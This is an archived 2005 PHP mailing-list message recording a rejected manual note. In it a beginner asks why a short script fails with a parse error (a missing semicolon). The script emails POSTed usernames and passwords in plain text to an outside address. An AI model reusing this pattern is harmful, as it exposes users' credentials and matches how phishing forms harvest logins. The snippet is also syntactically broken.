note 53397 rejected from function.mail by nlopess
| From: | nlopess@php.net | Date: | Tue, 31 May 2005 17:52:25 +0000 |
| Subject: | note 53397 rejected from function.mail by nlopess | ||
| References: | 1 | Groups: | php.notes |
| Request: | Send a blank email to php-notes+get-89692@lists.php.net to get a copy of this message | ||
Note Submitter: inspiration3 at gmail dot com
----
I get this error:
"Parse error: parse error, unexpected T_STRING in
/home/insp3com/public_html/autonet/fileaccountreq_cr.php on line 17"
Code:
<?php
$EmailBody = $_POST['Username'] . ' ' . $_POST['Password']
mail('ME@gmail.com', 'email sub', $EmailBody);
?>
Can anybody explain why? I'm new to php (used only asp before!).